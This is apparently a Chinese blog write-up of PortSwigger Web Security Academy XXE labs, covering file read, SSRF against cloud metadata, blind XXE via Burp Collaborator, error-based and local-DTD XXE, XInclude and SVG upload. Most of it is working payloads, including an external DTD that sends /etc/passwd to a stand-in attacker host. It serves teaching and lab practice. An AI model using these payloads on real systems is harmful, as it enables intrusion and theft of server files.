BurpWeb安全学院之XXE

实验室链接https://portswigger.net/web-security

XXE漏洞如何产生

一些应用程序使用XML格式在浏览器和服务器之间传输数据.而服务器端又没有对XML数据进行很好的检查,就可能产生XXE漏洞.

如: 某个网页可能传输如下的数据

如果稍加修改:

利用XXE读取文件

要执行从服务器的文件系统中读取任意文件的XXE注入攻击,需要修改两处XML:

  • 引入(或编辑)一个DOCTYPE元素,该元素定义一个包含文件路径的外部实体。
  • 编辑应用程序响应中返回的XML中的数据值,以使用已定义的外部实体

例如,假设购物应用程序通过向服务器提交以下XML来检查产品的库存:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

正常情况下会返回:

如果稍加修改:

先引入一个xxe的外部实体,再修改相应值

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

就可以读取文件

利用XXE执行SSRF攻击

除了检索敏感数据外,XXE攻击的另一个主要影响是,它们可用于执行服务器端请求伪造(SSRF) ,

这可能导致服务器端应用程序对服务器可以访问的任何URL发出HTTP请求

通过查看请求相应判断请求资源是否存在等.

操作方法也是先引入一个实体,再替换响应值:

如下:

引入实体探测内网: 探测http://169.254.169.254/时

说明我们请求的资源存在,返回了一个目录的名称latest

持续的请求最终可以读取到文件

XXE盲注检测

前面两种都是有回显情况下的XXE注入,但实际上XXE漏洞的许多情况都是没有回显的.

这意味着应用程序不会在其响应中返回任何已定义外部实体的值,因此无法直接检索服务器端文件

但是可以通过别的方法来间接检测

检测方法:

  • 报错注入
  • 与外网交互

通过Burpsuite的Collaborator可以测试XXE盲注

Burp Collaborator测试XXE盲注

具体使用可以参考 https://blog.csdn.net/fageweiketang/article/details/89073662

在BurpSuite专业版中.

开启Collaborator Server

通过工具栏可以打开

点击Copy to clipboard可以生成连接

类似xxx.burpcollaborator.net

当我们发现 存在疑似XXE漏洞,测试的时候只能看见"Invalid product ID"

我们修改为如下的XML

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net是Burp Collaborator 生成的

可以发现在Collaborator 中的回显,就证明确实存在XXE.对方对该域名进行了HTTP请求和DNS解析

外部实体参数被过滤

在这个实验中,引入外部实体参数,发现被检测出来

可以用以下情况绕过

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>

XXE盲注利用

可以通过请求带参数的方式将数据带出到外网

如以下恶意的DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
  • 定义名为的XML参数实体file,其中包含/etc/passwd文件的内容。
  • 定义一个名为的XML参数实体eval,其中包含另一个名为的XML参数实体的动态声明exfiltrate。该exfiltrate实体将通过使含有的值的HTTP请求到攻击者的web服务器进行评价fileURL查询字符串内的实体。
  • 使用eval实体,这将导致exfiltrate执行实体的动态声明。
  • 使用exfiltrate实体,以便通过请求指定的URL得到文件内容。

这样通过查看日志就可以查看到文件内容

上面的DTD必须托管在DTD平台,因为外部DTD允许我们在第二个实体中包含一个实体,但它在内部DTD中被禁止

http://web-attacker.com/malicious.dtd 的内容为

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

如 抓到以下包后

我们在 http://accd1f0c1f3e93218058065a014f00db.web-security-academy.net/test.dtd 托管如下内容

里面的链接为Burp Collaborator链接

然后修改包为:

可以在Collaborator里面看到返回的数据

x就是/etc/hostname 文件下的内容(也可能是第一行,多行情况下可以用其他协议)

XXE报错注入

XXE盲注的另一种思路是让XML解析器报错

错误消息可能包含敏感数据

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
  • 定义名为的XML参数实体file,其中包含/etc/passwd文件的内容。
  • 定义一个名为的XML参数实体eval,其中包含另一个名为的XML参数实体的动态声明error。该error实体将通过加载一个不存在的文件名称中包含的价值进行评估file实体。
  • 使用eval实体,这将导致error执行实体的动态声明。
  • 使用该error实体,以便通过尝试加载不存在的文件来,从而产生一条错误消息,其中包含该不存在的文件的名称,即文件的内容/etc/passwd

将以上内容托管到http://web-attacker.com/malicious.dtd

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

可以现在托管平台下托管如下数据: (链接 https://ac7a1fe31fca4a0c80687b1101e600ac.web-security-academy.net/1.dtd )

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid123456aaaaa/%file;'>">
%eval;
%exfil;

将抓到的如下包

修改为:

利用本地DTD的XXE盲注

详细原理以及利用场景: https://www.freebuf.com/articles/web/195899.html

在服务器防火墙阻止外部DTD引用,我们就无法像以上那样进行XXE盲注.

这时候可以 在目标主机上强制执行本地dtd文件 , 并在其中重新定义一些参数实体引用

例如,假设服务器文件系统上该位置有一个DTD文件/usr/local/app/schema.dtd ,并且此DTD文件定义了一个名为custom_entity 的实体,攻击者可以重新定义custom_entity 来进行保存的XXE注入

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

该DTD执行以下步骤:

  • 定义一个实体参数 local_dtd ,引用内部的DTD文件
  • 重新定义名为custom_entity的XML参数实体,构造基于错误的XXE盲注
  • 使用local_dtd

这样就构造了基于错误的XXE盲注

由于此XXE攻击涉及重新利用服务器文件系统上的现有DTD,因此关键的要求是找到合适的文件 .

可以用一些框架固定的dtd文件,可以通过是否保存判断DTD文件是否存在

例如,使用GNOME桌面环境的Linux系统通常在DTD文件/usr/share/yelp/dtd/docbookx.dtd

用以下payload能判断该文件是否存在

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

固定的DTD位置:

  • linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
  • Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

https://www.freebuf.com/articles/web/195899.html 最后有很多这样的例子

下面是利用 GNOME桌面环境 下的 /usr/share/yelp/dtd/docbookx.dtd进行XXE盲注

docbookx.dtd中有预定义的实体参数ISOamso,重新定义ISOamso即可

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

抓到如下包

可以修改为:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>
">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

XXE的隐藏攻击面

在许多情况下,XXE注入漏洞的攻击面很明显,因为应用程序的常规HTTP流量包括包含XML格式数据的请求 , 在其他情况下,攻击面不太明显 .可能在不存在XML格式数据的地方出现XXE

XInclude攻击

  • Xinclude : 导入外部xml文档,类似于php的include,将外部定义的dtd引入当前文件,因为引入外部实体具有局限性,所以使用xinclude来引入

  • 语法:

 <xi:include href="templates/footer.xml" xmlns:xi="http://www.w3.org/2003/XInclude"/>

差错处理:xi:fallback(当发生连接问题、安全限制、资源不存在、URI 架构未知或者像 mailto: 一样不可获取,等等)

<xi:include href="http://msdn.microsoft.com/rss.xml">
      <xi:fallback>Sorry, MSDN news are unavailable.<xi:fallback>
   </xi:include>

属性:

  • href — 对要包括的文档的 URI 引用。
  • parse — 它的值可以是“xml”或“text”,用于定义如何包括指定的文档(是作为 XML 还是作为纯文本)。默认值是“xml”。
  • xpointer — 这是一个 XPointer,用于标识要包括的 XML 文档部分。如果作为文本包括 (parse="text"),将忽略该属性。
  • encoding — 作为文本包括时,该属性提供所包括文档的编码提示信息。

要进行XInclude攻击,您需要引用XInclude名称空间并提供要包含的文件的路径

如:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

在以下场景:

抓到一个产品的包

抓包修改产品id

id值传入后端然后嵌入到服务端的XML文档中,由于我们无法控制整个XML文档,因此无法定义DTD发起攻击,但可以通过Xinclude

文件上传的XXE

一个应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像

应用程序可能希望接收PNG或JPEG之类的格式 ,但服务端所使用的图像处理库也可能支持SVG图像.

像SVG和DOCX文件都基于XML格式,所以可以构造恶意的SVG来进行攻击

制作包含以下内容的SVG图片

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
	<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

然后上传

会发现头像被处理了,显示的正是hostname名称.

通过修改的内容类型进行XXE攻击

大多数POST请求都使用HTML表单生成的默认内容类型,例如application/x-www-form-urlencoded

有的网站可能没有对此做限制,

例如,如果正常请求包含以下内容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

然后,您可以提交以下请求,结果相同:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

就可以尝试XXE攻击.

XXE防御

禁用外部实体的解析并禁用对XInclude 的支持.

posted @ 2020-08-06 19:14  10nnn4R  阅读(923)  评论(0编辑  收藏  举报